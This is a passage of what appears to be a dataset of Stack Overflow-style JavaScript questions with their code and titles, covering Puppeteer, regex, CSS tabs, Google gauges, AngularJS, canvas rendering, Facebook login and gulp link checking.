; await pendingXHR.waitForAllXhrFinished ( ) ; /// And my bot skips directly here ... . let html = await page.content ( ) ; await page.close ( ) ; await browser.close ( ) ; return html ; const { PendingXHR } = require ( 'pending-xhr-puppeteer ' ) ;",Puppeteer Not Triggering Click Before Returning HTML "JS : I get confused when I see examples of self invoked anonymous functions in Javascript such as this : Is there a difference between this syntax and the following : If someone can give me a concrete difference , it would help put to rest a question that 's been bugging me for ages ... ( function ( ) { return val ; } ) ( ) ; function ( ) { return val ; } ( ) ;",Does parenthetical notation for self-invoked functions serve a purpose in Javascript ? "JS : I 'm curious as to why the following placeholder replacement for a right to left language ( these are random Arabic characters ) causes the formatted string to reverse all the words.This behavior was observed in the latest Chrome , FF , and Safari . It keeps the word order the same in Node . ' { 0 } تكنولوجيا'.replace ( ' { 0 } ' , 'هلهل ' ) = > `` هلهل تكنولوجيا ''",Why does Javascript string replace reverse the word order for right to left languages ? "JS : I was just playing with the native replace method for strings in javascript . Is there any thing like groups of groups . If not , how are groups ordered in string where a group encapsulates other open and closed parentheses ( potential groups ) . For example , What will the group references $ 1 , $ 2 , $ 3 , and $ 4 be . I already tried it on my local computer ( on firebug ) but it gives me results that I ca n't readily understand . A clear explanation on this will be appreciated ! ! var string = `` my name is name that is named man '' .replace ( / ( ( name ) | ( is ) | ( man ) ) /g , `` $ 1 '' ) ;",Is there a group of groups in Regex in javascript or any other language "JS : I am working on a tab system : Also available on JsFiddleWhat I am trying to do is to display the content of each sublink available in the sidebar.With what I have done , When I click on a sublink , Nothing is displayed . I think the CSS property display : none ; applied on the class .tabcontent does not change to display : block ; Kindly help me to figure out , what is wrong with my codes < script > $ ( function ( ) { var links = $ ( '.sidebar-links > div ' ) ; links.on ( 'click ' , function ( ) { links.removeClass ( 'selected ' ) ; $ ( this ) .addClass ( 'selected ' ) ; } ) ; } ) ; function openCity ( evt , cityName ) { // Declare all variables var i , tabcontent , tablinks ; // Get all elements with class= '' tabcontent '' and hide them tabcontent = document.getElementsByClassName ( `` tabcontent '' ) ; for ( i = 0 ; i < tabcontent.length ; i++ ) { tabcontent [ i ] .style.display = `` none '' ; } // Get all elements with class= '' tablinks '' and remove the class `` active '' tablinks = document.getElementsByClassName ( `` tablinks '' ) ; for ( i = 0 ; i < tabcontent.length ; i++ ) { tablinks [ i ] .className = tablinks [ i ] .className.replace ( `` active '' , `` '' ) ; } // Show the current tab , and add an `` active '' class to the link that opened the tab document.getElementById ( cityName ) .style.display = `` block '' ; evt.currentTarget.className += `` active '' ; } < /script > /* The main content */.main-content { font-family : Arial , Helvetica , sans-serif ; max-width : 600px ; padding-top : 40px ; margin : 0 0 40px 260px ; } .tabcontent { display : none ; } /* The left-collapsing sidebar */.sidebar-left-collapse { font-family : Arial , Helvetica , sans-serif ; position : fixed ; top : 0 ; left : 0 ; background-color : # 292c2f ; width : 180px ; height : 100 % ; padding : 20px 0 ; } .sidebar-left-collapse > a { display : block ; text-decoration : none ; font-family : Cookie , cursive ; width : 122px ; height : 122px ; margin : 0 auto ; text-align : center ; color : # ffffff ; font-size : 44px ; font-weight : normal ; line-height : 2.6 ; border-radius : 50 % ; background-color : # 181a1b ; } .sidebar-left-collapse .sidebar-links { margin : 30px auto ; } .sidebar-links div > a { display : block ; text-decoration : none ; margin : 0 auto 5px auto ; padding : 10px 0 10px 5px ; background-color : # 35393e ; text-align : left ; color : # b3bcc5 ; font-size : 12px ; font-weight : bold ; line-height : 2 ; border-left-width : 2px ; border-left-style : solid ; } .sidebar-links div.selected > a { background-color : # ffffff ; color : # 565d63 ; line-height : 2.3 ; margin : 0 ; } .sidebar-links div > a i.fa { position : relative ; font-size : 20px ; top : 3px ; width : 40px ; text-align : center ; } .sidebar-links div ul.sub-links { max-height : 0 ; overflow : hidden ; list-style : none ; padding : 0 0 0 30px ; color : # b3bcc5 ; font-size : 12px ; font-weight : bold ; line-height : 24px ; margin : 0 ; transition : 0.4s ; } .sidebar-links div.selected ul.sub-links { max-height : 150px ; padding : 12px 0 12px 30px ; } .sidebar-links div .sub-links a { text-decoration : none ; color : # b3bcc5 ; display : block ; text-align : left ; } /* Link Colors */.sidebar-links div.link-blue > a { border-color : # 487db2 ; } .sidebar-links div.link-blue > a i.fa { color : # 487db2 ; } .sidebar-links div.link-red > a { border-color : # da4545 ; } .sidebar-links div.link-red > a i.fa { color : # da4545 ; } .sidebar-links div.link-yellow > a { border-color : # d0d237 ; } .sidebar-links div.link-yellow > a i.fa { color : # d0d237 ; } .sidebar-links div.link-green > a { border-color : # 86be2e ; } .sidebar-links div.link-green > a i.fa { color : # 86be2e ; } /* Making the sidebar responsive */ @ media ( max-width : 900px ) { .main-content { max-width : none ; padding : 70px 20px ; margin : 0 0 40px ; } .sidebar-left-collapse { width : auto ; height : auto ; position : static ; padding : 20px 0 0 ; } .sidebar-left-collapse .sidebar-links { text-align : center ; margin : 20px auto 0 ; } .sidebar-links div { display : inline-block ; width : 100px ; } .sidebar-links div > a { text-align : center ; margin : 0 ; padding : 10px 0 ; border-left : none ; border-top-width : 2px ; border-top-style : solid ; } .sidebar-links div > a i.fa { display : block ; margin : 0 auto 5px ; } .sidebar-links div ul.sub-links { display : none ; } .sidebar-links div.selected .sub-links { display : block ; position : absolute ; text-align : center ; width : auto ; left : 0 ; right : 0 ; } .sidebar-links div.selected .sub-links li { display : inline-block ; } .sidebar-links div.selected .sub-links a { display : inline-block ; margin-right : 20px ; font-size : 13px ; color : # 748290 ; } } /* Smartphone version */ @ media ( max-width : 450px ) { .main-content { padding : 90px 20px ; } .sidebar-left-collapse { padding : 20px 0 ; } .sidebar-left-collapse .sidebar-links { text-align : center ; margin : 20px auto 0 ; position : relative ; } .sidebar-links div { display : block ; width : 240px ; margin : 0 auto 5px ; } .sidebar-links div > a { text-align : left ; padding : 10px 25px ; vertical-align : middle ; border-top : none ; border-left-width : 2px ; border-left-style : solid ; } .sidebar-links div > a i.fa { display : inline-block ; font-size : 20px ; width : 20px ; margin : 0 20px 0 0 ; } .sidebar-links div.selected .sub-links { bottom : -90px ; } } /* Removing margins and paddings from the body , so that the sidebar takes the full height of the page */body { margin : 0 ; padding : 0 ; } < aside class= '' sidebar-left-collapse '' > < a href= '' # '' class= '' company-logo '' > Logo < /a > < div class= '' sidebar-links '' > < div class= '' link-blue selected '' > < a href= '' # '' > < i class= '' fa fa-picture-o '' > < /i > Photography < /a > < ul class= '' sub-links '' > < li > < a href= '' # '' id= '' portraits '' class= '' tablinks '' onclick= '' openCity ( event , 'portraits ' ) '' > Portraits < /a > < /li > < li > < a href= '' # '' id= '' landscape '' class= '' tablinks '' onclick= '' openCity ( event , 'landscape ' ) '' > Landscape < /a > < /li > < li > < a href= '' # '' id= '' studioshots '' class= '' tablinks '' onclick= '' openCity ( event , 'studioshots ' ) '' > Studio shots < /a > < /li > < li > < a href= '' # '' id= '' macros '' class= '' tablinks '' onclick= '' openCity ( event , 'macros ' ) '' > Macros < /a > < /li > < /ul > < /div > < /div > < /aside > < div class= '' main-content '' > < div id= '' portraits '' class= '' tabcontent '' > Portraits ... < /div > < div id= '' landscape '' class= '' tabcontent '' > Landscape ... < /div > < div id= '' studioshots '' class= '' tabcontent '' > Studioshots ... < /div > < div id= '' macros '' class= '' tabcontent '' > Macros ... < /div > < /div >",Create a tab system in CSS and Javascript "JS : I am trying to print the bottom label of the Google gauges outside ( just below the respective gauges ) . Also , I want to provide two different suffixes for the two gauges . I have tried giving separate formatters ( formatter1 , formatter2 ) for both and separate data ( data1 and data2 ) , but it 's not even drawing the gauges ( no error ) . In this case , the draw_data_guage will have a fourth argument.I want the gauge 's bottom label to be displayed outside and be able to give separate suffixes for both the gauges . Consider this jsfiddle link . I want to display the percentages ( bottom label ) outside the gauges just below them . My jsfiddle link is here . Thanks in advance . var e = document.getElementById ( 'draw_chart ' ) ; e.onclick = draw_data_gauge ( 80 , 68 , ' % ' ) ; function draw_data_gauge ( cpu_data , memory_data , suffix ) { console.log ( `` in guage '' ) google.charts.load ( 'current ' , { 'packages ' : [ 'gauge ' ] } ) ; google.charts.setOnLoadCallback ( drawChart ) ; function drawChart ( ) { var data1 = google.visualization.arrayToDataTable ( [ [ 'Label ' , 'Value ' ] , [ 'CPU ' , cpu_data ] , [ 'Memory ' , memory_data ] , ] ) ; var options = { width : 500 , height : 150 , redFrom : 90 , redTo : 100 , yellowFrom : 75 , yellowTo : 90 , minorTicks : 5 , } ; var formatter1 = new google.visualization.NumberFormat ( { suffix : suffix , } ) ; formatter1.format ( data1 , 1 ) ; var chart = new google.visualization.Gauge ( document.getElementById ( 'chart_div ' ) ) ; chart.draw ( data1 , options ) ; } } < script src= '' https : //www.gstatic.com/charts/loader.js '' > < /script > < input name= '' Button '' type= '' button '' value= '' Draw '' id= '' draw_chart '' / > < div id= '' chart_div '' > < /div >",How to print the bottom label of google gauge outside the guage ? "JS : I have one div for `` classroom '' that contains div for each `` students '' . Each `` student '' div contains an image . Here is the HTML : I want to display all the `` students '' divs in one line so I use the following css : In order the students will have enough place in the `` classroom '' div , I use jQuery in order the calculate the width of the `` classroom '' : Unfortunately the result is not what I expected . The last `` student '' div is going down to the next line ( as if no float : left ; was assigned ) . More weird is that when increasing the width of `` Classroom '' div in 1 pixel , the div returns to it position at the end of the first line.I made those jsfiddles : Here http : //jsfiddle.net/U3gBG you can see the problem . click on the result panel and use the arrows keys in order to scroll down and right.Here http : //jsfiddle.net/U3gBG/1/ you can see the result of adding 1 to the width of the `` classroom '' div after calculation ( the width of `` classroom '' equals to the sum of `` students '' width plus 1 pixel ) . This result is what I need.I do n't understand why do I need to increase the width of the parent div by 1 ? Why sum all the child divs width is not enough ? < div class= '' classroom '' > < div class= '' student '' > < img class= '' student-image '' src= '' http : //dnqgz544uhbo8.cloudfront.net/_/fp/img/home/f.AmzRdUdc4pEtCuGvU03WXQ.jpg '' > < /div > < div class= '' student '' > < img class= '' student-image '' src= '' http : //dnqgz544uhbo8.cloudfront.net/_/fp/img/home/k.jXX55KhHUWZGTAb-GpPkdg.jpg '' > < /div > < div class= '' student '' > < img class= '' student-image '' src= '' http : //dnqgz544uhbo8.cloudfront.net/_/fp/img/home/c.ZKQXc2Kc8-po-OK6AhDbtw.jpg '' > < /div > < /div > body { padding : 0 ; margin : 0 ; overflow : hidden ; } html , body { height : 100 % ; } .classroom { position : relative ; height : 100 % ; } .classroom .student { position : relative ; height : 100 % ; float : left ; } .classroom .student .student-image { height : 100 % ; } $ ( document ) .ready ( function ( ) { var w = 0 ; $ ( `` .student '' ) .each ( function ( ) { w += $ ( this ) .width ( ) ; } ) ; $ ( `` .classroom '' ) .width ( w ) ; } ) ;",I need to add one pixel to parent div "JS : Can that be called recursive ? If yes , could you provide any reference ? function move ( ) { pos = pos+1 ; t = setTimeout ( move , 100 ) ; }",Can this be called recursive ? "JS : I have a simple HTML5 Canvas game and at the end of a part I want to store variables in MySQL . Is it secure to do this with XMLHttpRequest , Ajax or anything ? This is how I started to write it : My problem with this is that everyone can do this in console like this : ( How ) can I solve it ? var request = new XMLHttpRequest ( ) ; request.onreadystatechange = function ( ) { if ( request.readyState == 4 & & request.status == 200 ) { var success = request.responseText ; alert ( success ) ; } } request.open ( 'GET ' , 'saveLevel.php ? name='+name+ ' & level='+level , true ) ; request.send ( ) ; var request = new XMLHttpRequest ( ) ; request.onreadystatechange = function ( ) { if ( request.readyState == 4 & & request.status == 200 ) { var success = request.responseText ; alert ( success ) ; } } request.open ( 'GET ' , 'saveLevel.php ? name='+name+ ' & level=100 ' , true ) ; request.send ( ) ;",Is it secure to call a PHP file from JavaScript ? "JS : Imagine I 've got two arrays in JavaScript : How do I merge the two arrays , resulting in an array like this ? var geoff = [ 'one ' , 'two ' ] ; var degeoff = [ 'three ' , 'four ' ] ; var geoffdegeoff = [ 'one ' , 'two ' , 'three ' , 'four ' ] ;",How do I merge two arrays to create one array in JavaScript ? "JS : i am new with angular , have a aplication that manage some customers data , it is a json file that is stored in localStorage , how can i create partial update patch ( delta ) method in the service.Also need a error handling.json : HTML : Controller : service : [ { `` id '' :1 , '' name '' : '' Gigi '' , `` lastname '' : '' DS '' , `` hobby '' : '' football '' , `` age '' : '' 1987/06/04 '' } , { `` id '' :2 , '' name '' : '' John '' , `` lastname '' : '' Ciobanu '' , `` hobby '' : '' basball '' , `` age '' : '' 2001/12/05 '' } , { `` id '' :3 , '' name '' : '' George '' , `` lastname '' : '' Doe '' , `` hobby '' : '' rugby '' , `` age '' : '' 2003/05/09 '' } , { `` id '' :4 , '' name '' : '' Dean '' , `` lastname '' : '' Smith '' , `` hobby '' : '' tenis '' , `` age '' : '' 2000/03/06 '' } , { `` id '' :5 , '' name '' : '' Kelly '' , `` lastname '' : '' Ambrose '' , `` hobby '' : '' sweem '' , `` age '' : '' 1986/09/12 '' } ] < form name= '' part-update '' novalidate > < input type= '' number '' class= '' number '' name= '' id '' value= '' { { customer.id } } '' ng-model= '' customer.id '' disabled / > < input type= '' text '' name= '' name '' value= '' { { customer.name } } '' ng-model= '' customer.name '' / > < input type= '' text '' name= '' lastname '' value= '' { { customer.lastname } } '' ng-model= '' customer.lastname '' / > < input type= '' text '' name= '' hobby '' value= '' { { customer.hobby } } '' ng-model= '' customer.hobby '' / > < input type= '' text '' name= '' age '' value= '' { { customer.age } } '' ng-model= '' customer.age '' / > < button class= '' btn btn-success btn-xs '' ng-click= '' quickSave ( customer ) '' > save < /button > < button class= '' btn btn-danger btn-xs '' ng-click= '' close ( ) '' > cancel < /button > < /form > ... ... . $ scope.quickSave=function ( c ) { customerData.quickUpdate ( c ) ; $ scope.quickEdit = false ; $ scope.customer= { } ; refresh ( ) ; } ... ... . articleServices.factory ( `` customerData '' , [ `` $ http '' , 'LS ' , ' $ q ' , ' $ filter ' , ' $ log ' , function ( $ http , LS , $ q , $ filter , $ log ) { var baseUrl = 'jsondata/customers.json ' ; var dataLoad = null ; // throw ( 'test ' ) ; init ( ) ; return { ... ... ... ... //partial update quickUpdate : function ( c ) { return dataLoad.then ( function ( data ) { ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? } ) ; } } function init ( ) { customers = LS.getData ( `` cutomers '' ) ; if ( customers ) { dataLoad = $ q.resolve ( customers ) ; } else dataLoad = $ http.get ( baseUrl ) .then ( function ( response ) { LS.setData ( response.data , '' cutomers '' ) ; return response.data ; } ) .catch ( function ( e ) { throw { status : e.staus , message : e.statusText } } ) ; dataLoad.catch ( onError ) ; return dataLoad ; } function onError ( error ) { $ log.error ( ) ; $ log.error ( { status : error.status , message : error.message , source : 'customerData ' } ) ; } } ] ) ;",How to create a Angularjs partial update ( patch ) ? "JS : I 'm developing a Chrome extension , and I 've noticed that Chrome started to do weird things to my notifications.I am talking about the huge whitespace thing ( notification height should end at the blue bar ) .It was n't like that some time ago , it started to happen somewhere with the new Chrome releases.Anyways , what could be the cause of this ? Source code of extension is at http : //github.com/Maxorq/LastPlugThe most interesting parts would be : js/notifications.jsnotification.htmljs/background.jsI 'm using jQuery URL Parser from here : https : //github.com/allmarkedup/jQuery-URL-ParserThe code is kinda complicated , so I wo n't paste all of it here ; wondering if anyone else had same problem with huge notifications . $ ( ' # title ' ) .html ( decodeURIComponent ( $ .url ( ) .param ( 'title ' ) ) ) ; $ ( ' # message ' ) .html ( decodeURIComponent ( $ .url ( ) .param ( 'message ' ) ) ) ; $ ( ' # avatar ' ) .attr ( 'src ' , $ .url ( ) .param ( 'avatar ' ) ) ; $ ( ' # color ' ) .addClass ( `` color_ '' + $ .url ( ) .param ( 'color ' ) ) ; < div id= '' content '' > < img id= '' avatar '' width= '' 32 '' height= '' 32 '' src= '' img/icon.png '' / > < span id= '' title '' > Title < /span > < br / > < span id= '' message '' > Message < /span > < /div > var notification = webkitNotifications.createHTMLNotification ( 'notification.html ? title= ' + title + ' & message= ' + message + ' & avatar= ' + avatar + ' & color= ' + color ) ; notification.show ( ) ;",Abnormally big WebKit notifications "JS : I have started reading this book . Chapter 2 says that there are different ways to write an IIFE : The author says : Each manifestation has its own unique qualities and advantages—some with fewer bytes , some safer for concatenation , each valid and each executable.I 'm a newbie to JS . I know what an IIFE is , but what do these IIFE forms do exactly ? ! function ( ) { } ( ) ~function ( ) { } ( ) +function ( ) { } ( ) -function ( ) { } ( ) new function ( ) { } 1 , function ( ) { } ( ) 1 & & function ( ) { } ( ) var i=function ( ) { } ( )",What are the different ways of writing an IIFE ? What are their use cases ? "JS : What I am trying to achieveI am building input-like content editable div . You are supposed to click some tags outside the div to add them inside the div while also being able to type around said tags.The problem and how to reproduce itI am using user-select : none ( normal and webkit ) to keep tag buttons from being selected , therefore losing my caret 's position . It works in Firefox and Chrome but not in Safari ( I aware of the -webkit- prefix and using it ) .Here is a fiddle where you can reproduce the problem.What I 've triedThe root of my problem was maintaining the caret 's position while leaving the content editable div.I have previously tried to use rangy but got stuck in some limitations regarding Firefox . These limitations where quite annoying from an UX standpoint . You can check my previous question and how it got me here , to this user-select : none solution -Caret disappears in Firefox when saving its position with RangyThat 's how I got to this solution featuring user-select : none.My components/JS : My HTMLMy CSSNote : ignore the new vue , it 's pasted from the Fiddle . I would suggest using the fiddle to inspect the code , reproduce the problem.Expected behaviour vs actual resultsIn Safari ( latest version ) , if I type a word and then click somewhere in that word or move the caret in that word through the keyboard arrows then click one of the tags on the right side of the input , the tag should be added in the middle of clicked word ( where was the selection made ) but it is added at the beginning of the word.tl ; dr : Safari does not respect the caret 's position when clicking one of the tags . It adds the tag at the beginning of the content editable div , not where the caret previously was.Edit 1 : Based on these logs , getSelection ( ) teaches us that the offset is always 0 because in Safari , the div loses focus . new Vue ( { el : `` # app '' , data ( ) { return { filters_toggled : false , fake_input_content : `` , input_length : 0 , typed : false , boolean_buttons : [ { type : ' 1 ' , label : 'ȘI ' , tag : 'ȘI ' , img : 'https : //i.imgur.com/feHin0S.png ' } , { type : ' 2 ' , label : 'SAU ' , tag : 'SAU ' , img : 'https : //i.imgur.com/vWJeJwb.png ' } , { type : ' 3 ' , label : 'NU ' , tag : 'NU ' , img : 'https : //i.imgur.com/NNg1spZ.png ' } ] , saved_sel : 0 , value : null , options : [ 'list ' , 'of ' , 'options ' ] } } , name : 'boolean-input ' , methods : { inputLength ( $ event ) { this.input_length = $ event.target.innerText.length ; if ( this.input_length == 0 ) this.typed = false ; } , addPlaceholder ( ) { if ( this.input_length == 0 & & this.typed == false ) { this. $ refs.divInput.innerHTML = 'Cuvinte cheie , cautare booleana.. ' } } , clearPlaceholder ( ) { if ( this.input_length == 0 & & this.typed == false ) { this. $ refs.divInput.innerHTML = `` ; } } , updateBooleanInput ( $ event ) { this.typed = true ; this.inputLength ( $ event ) ; } , saveCursorLocation ( $ event ) { /* if ( $ event.which ! = 8 ) { if ( this.saved_sel ) rangy.removeMarkers ( this.saved_sel ) this.saved_sel = rangy.saveSelection ( ) ; } */ // if ( this.input_length == 0 & & this.typed == false ) { // var div = this. $ refs.divInput ; // var sel = rangy.getSelection ( ) ; // sel.collapse ( div , 0 ) ; // } } , insertNode : function ( node ) { var selection = rangy.getSelection ( ) ; var range = selection.getRangeAt ( 0 ) ; range.insertNode ( node ) ; range.setStartAfter ( node ) ; range.setEndAfter ( node ) ; selection.removeAllRanges ( ) ; selection.addRange ( range ) ; } , addBooleanTag ( $ event ) { // return this. $ refs.ChatInput.insertEmoji ( $ event.img ) ; if ( ! this. $ refs.divInput.contains ( document.activeElement ) ) { this. $ refs.divInput.focus ( ) ; } console.log ( this.input_length ) ; if ( this.typed == false & this.input_length == 0 ) { this. $ refs.divInput.innerHTML = `` var space = `` ; this.typed = true //this.saveCursorLocation ( $ event ) ; } //rangy.restoreSelection ( this.saved_sel ) ; console.log ( getSelection ( ) .anchorNode , getSelection ( ) .anchorOffset , getSelection ( ) .focusNode , getSelection ( ) .focusOffset ) var node = document.createElement ( 'img ' ) ; node.src = $ event.img ; node.className = `` boolean-button -- img boolean-button -- no-margin '' ; node.addEventListener ( 'click ' , ( event ) = > { // event.currentTarget.node.setAttribute ( 'contenteditable ' , 'false ' ) ; this. $ refs.divInput.removeChild ( node ) ; } ) this.insertNode ( node ) ; this.saveCursorLocation ( $ event ) ; } , clearHtmlElem ( $ event ) { var i = 0 ; var temp = $ event.target.querySelectorAll ( `` span , br '' ) ; if ( temp.length > 0 ) { for ( i = 0 ; i < temp.length ; i++ ) { if ( ! temp [ i ] .classList.contains ( 'rangySelectionBoundary ' ) ) { if ( temp [ i ] .tagName == `` br '' ) { temp [ i ] .parentNode.removeChild ( temp [ i ] ) ; } else { temp [ i ] .outerHTML = temp [ i ] .innerHTML ; } } } } } , pasted ( $ event ) { $ event.preventDefault ( ) ; var text = $ event.clipboardData.getData ( 'text/plain ' ) ; this.insert ( document.createTextNode ( text ) ) ; this.inputLength ( $ event ) ; this.typed == true ; } , insert ( node ) { this. $ refs.divInput.focus ( ) ; this.insertNode ( node ) ; this.saveCursorLocation ( $ event ) ; } , fixDelete ( ) { } } , props : [ 'first ' ] , mounted ( ) { this.addPlaceholder ( ) } } ) < div id= '' app '' > < div class= '' input__label-wrap '' > < span class= '' input__label '' > Cauta < /span > < div style= '' user-select : none ; -webkit-user-select : none '' > < span readonly v-on : click= '' addBooleanTag ( b_button ) '' v-for= '' b_button in boolean_buttons '' class= '' boolean-buttons '' > { { b_button.label } } < /span > < /div > < /div > < div class= '' input__boolean input__boolean -- no-focus '' > < div @ keydown.enter.prevent @ blur= '' addPlaceholder '' @ keyup= '' saveCursorLocation ( $ event ) ; fixDelete ( ) ; clearHtmlElem ( $ event ) ; '' @ input= '' updateBooleanInput ( $ event ) ; clearHtmlElem ( $ event ) ; '' @ paste= '' pasted '' v-on : click= '' clearPlaceholder ( ) ; saveCursorLocation ( $ event ) ; '' class= '' input__boolean-content '' ref= '' divInput '' contenteditable= '' true '' > Cuvinte cheie , cautare booleana.. < /div > < /div > < /div > .filters__toggler { cursor : pointer ; padding : 2px ; transition : all 0.2s ease-in-out ; margin-left : 10px ; } .filters__toggler path { fill : # 314964 ; } .filters__toggler-collapsed { transform : rotate ( -180deg ) ; } .input__label { font-family : $ roboto ; font-size : 14px ; color : # 314964 ; letter-spacing : -0.13px ; text-align : justify ; } .input__boolean { width : 100 % ; background : # FFFFFF ; border : 1px solid # AFB0C3 ; border-radius : 5px ; padding : 7px 15px 7px ; font-family : $ opensans ; font-size : 14px ; color : # 082341 ; min-height : 40px ; box-sizing : border-box ; margin-top : 15px ; display : flex ; flex-direction : row ; align-items : center ; line-height : 22px ; overflow : hidden ; } .input__boolean-content { width : 100 % ; height : 100 % ; outline : none ; border : none ; position : relative ; padding : 0px ; word-break : break-word ; } .input__boolean img { cursor : pointer ; margin-bottom : -6px ; } .input__boolean -- no-focus { color : # 9A9AA6 } .input__label-wrap { display : flex ; justify-content : space-between ; width : 100 % ; position : relative ; } .boolean-buttons { background-color : # 007AFF ; padding : 3px 15px ; border-radius : 50px ; color : # fff ; font-family : $ roboto ; font-size : 14px ; font-weight : 300 ; cursor : pointer ; margin-left : 10px ; } .boolean-button -- img { height : 22px ; margin-left : 10px ; } .boolean-button -- no-margin { margin : 0 ; } .popper { background-color : $ darkbg ; font-family : $ opensans ; font-size : 12px ; line-height : 14px ; color : # fff ; padding : 4px 12px ; border-color : $ darkbg ; box-shadow : 0 5px 12px 0 rgba ( 49,73,100,0.14 ) ; border-radius : 8px ; } .filters__helper { cursor : pointer ; margin-left : 10px ; margin-bottom : -3px ; } .popper [ x-placement^= '' top '' ] .popper__arrow { border-color : # 082341 transparent transparent transparent ; }",User-select : none behaves differently in Safari "JS : I 'm registering users to my site via Facebook and have come across an issue on mobile . I 'll start by saying i 'm fairly new to the Facebook user login processes . The journey goes like so : Firstly I call the fb.login function on click of a button to launch the facebook popup window for them to login like so : I then call the getFbUserDetails function once they have signed in and accepted the app like so : This journey works exactly as it should for desktop which is great but I encounter some problems with mobile which i 'm unsure how to resolve : if the user is not logged into their mobile browser I get the following error : not logged in : You are not logged in . Please login and try againif the user is logged in through their mobile browser I get the following error : `` URL Blocked : This redirect failed because the redirect URI is not whitelisted in the app ’ s Client OAuth Settings . Make sure Client and Web OAuth Login are on and add all your app domains as Valid OAuth Redirect URIs . `` Not sure why i 'm seeing these errors if it works fine on desktop . How can I get a smooth journey for collecting someone 's details on mobile ? I am correct in using this approach ? Worth noting I am NOT using a facebook login button.Thanks and appreciate the help I can get ! jQuery ( `` .welcome-cta-facebook span '' ) .on ( `` click '' , function ( ) { FB.login ( function ( response ) { if ( response.authResponse ) { getFbUserDetails ( ) ; } else { console.log ( 'User cancelled login or did not fully authorize . ' ) ; } } ) ; } ) ; function getFbUserDetails ( ) { FB.api ( '/me ' , 'GET ' , { `` fields '' : '' id , name , picture { url } , email '' } , function ( response ) { console.log ( response ) ; fbParameters = `` ? facebookID= '' + response.id + `` & facebookName= '' + response.name + `` & facebookEmail= '' + response.email + `` & facebookProfilePictureURL= '' + response.picture.url ; /* then send the fb parameters to my DB */ } ) ; } ;",Facebook login on mobile throwing error screen instead of login screen "JS : I am working with some svg elements and i have built an increment button.The increment button takes the the path d values converts it into an array and sums 5 from the third element of the array . If the element is ' L ' or 'M ' it does nothingHere the click function in the redux , it takes the values of the incrementing action stateIt converts in an arrayand then it does all the calculation i said in the loopSee the full redux functionSee the video demo while i debug it http : //www.fastswf.com/uSBU68EAs you can see the code does the right calculation and it sums 5 from the fourth element and it is returning the number 331 . So all good ! But the problem is that i need to return it as '331 ' , a new element of the array to continue the loop.I have built a demo which is perfectly working and doing what i want to achieve , using the same code ! So i do n't understand what i am doing wrong when i apply it in my redux function.See the jsBin perfectly working as i want . const a = action.index ; let string = state [ a ] .d ; let array = string.split ( `` `` ) ; switch ( action.type ) { case 'INCREMENT_COORDINATES ' : console.log ( `` incrementing coordinaates '' ) const a = action.index ; let string = state [ a ] .d ; let array = string.split ( `` `` ) ; let max = array.length ; let i = 3 ; let click = ( ) = > { i++ ; if ( i === max ) i = 3 ; if ( array [ i ] ! == 'M ' & & array [ i ] ! == ' L ' ) array [ i ] = parseInt ( array [ i ] ) + 5 ; array.join ( ' ' ) ; } ; return [ ... state.slice ( 0 , a ) , // before the one we are updating { ... state [ a ] , d : click ( ) } , // updating the with the click function ... state.slice ( a + 1 ) , // after the one we are updating ] default : return state ; }",Incrementing Click Redux Function in an array "JS : Are javascript ( timeout , interval ) and css ( animations , delay ) timing synchronized ? For instance : Will anim2 be precisely triggered at the end of anim1 ? Is it different depending on the browser ? In this case I 'm more interested in a webkit focus . Note that anim1 is triggered via javascript to avoid loading time inconsistencies . NB : This is a theoretical question , the above code is an illustration and you must not use it at home as there are way more proper means to do so . # anim1 { animation : anim1 10s linear ; display : none ; } anim1.style.display = `` block '' ; setTimeout ( function ( ) { anim2.style.webkitAnimation= 'anim2 10s linear ' ; } , 10000 ) ;",Are javascript and css timing synchronized ? "JS : I 've been experimenting with jank-free rendering of complex scenes on HTML5 canvas . The idea is to split rendering into multiple batches with each batch taking a maximum of , say 12 ms , so that the concurrently running animations ( very cheap to execute ) are not interrupted . Conceptually , batch-rendering is implemented like this : The complete code is in this JSFiddle : https : //jsfiddle.net/fkfnjrc2/5/ . The code does the following things : On each frame , modify the CSS transform property of the canvas ( which is an example of the concurrently-running fast-to-execute animation ) .Once in a while , initiate re-rendering of the canvas in the batched fashion as shown above.Unfortunately , I 'm seeing horrible janks exactly at the times when canvas contents is re-rendered . What I do n't seem to be able to explain is what the Chrome Developer Tools timeline looks like : The dropped frames seem to be caused by the fact that the requestAnimationFrame is not called right at the start of the frame , but towards the end of the ideal 16ms period . If the callback started right after the previous frame completed rendering , the code would most likely complete in time.Rendering to an off-screen canvas ( https : //jsfiddle.net/fkfnjrc2/6/ ) and then copying the complete image to the screen canvas helps a little , but the janks are still there with exactly the same characteristics ( delayed execution of rAF callback ) .What is wrong with that code ? Or maybe something 's wrong with my browser / machine ? I 'm seeing the same behaviour on Chrome ( 49.0.2623.112 ) on Windows 10 and Mac OS . function draw ( ctx ) { var deadline = window.performance.now ( ) + 12 ; // inaccurate , but enough for the example var i = 0 ; requestAnimationFrame ( function drawWithDeadline ( ) { for ( ; i < itemsToRender.length ; i++ ) { if ( window.performance.now ( ) > = deadline ) { requestAnimationFrame ( drawWithDeadline ) ; return ; } var item = itemsToDraw [ i ] ; // Draw item } } ) ; }",requestAnimationFrame called right before the end of the frame ? "JS : A way that does n't hog resources , just stops execution for 1 second then executes ? What I want to do is dynamically move a Google gauge from one value to another , creating the effect of it moving to the value instead of jumping to it . i.e . - Is this an OK way of doing this or is something closer to what the demo is doing is extremely better ? : How to : Dynamically move Google Gauge ? for ( original_value ; original_value < new_value ; original_value++ ) { data.setValue ( 0 , 1 , original_value ) ; delay half a second here in JavaScript ? }",Is there a safe delay in JavaScript ? "JS : I have a lot of HTML documents in the root of my projects . Let 's take a simple skeleton HTML document like so : Now before I send all these files to the development team , I am assigned with the task of checking that there are no links which have no href , and empty href , or have an empty fragment as an href . I.e. , Basically , there can not be likes like so : or or I found this gulp plugin and but I have a few issues with it . Let 's have a look at the gulp file first : Note that when you pass the option checkLinks : true , it 's not just for the a tags , it for all of the tags mentioned on this page . The plugin does n't have a problem if the < a > tag is empty or just has a # or is not present at all.See what happens when I run the gulp tasks : So what I would like instead is , if only the a links could be checked and if the < a > tag does n't have an href or a blank value or just a # , then it should throw an error or show it in the summary report . Lastly , see in the sample of the gulp file how I am passing the pageUrl ( i.e . the pages to be checked basically ) like so : How do I instead tell this plugin to check for all the .html files inside the Gulp-Test directory ? So to summarize my question : how do I get this plugin to throw an error ( i.e . show in the summary report ) when it sees an < a > without a href or a href that is blank or has a value of # and also how do I tell this plugin to check for all .html files inside a directory . < ! doctype html > < html class= '' no-js '' lang= '' '' > < head > 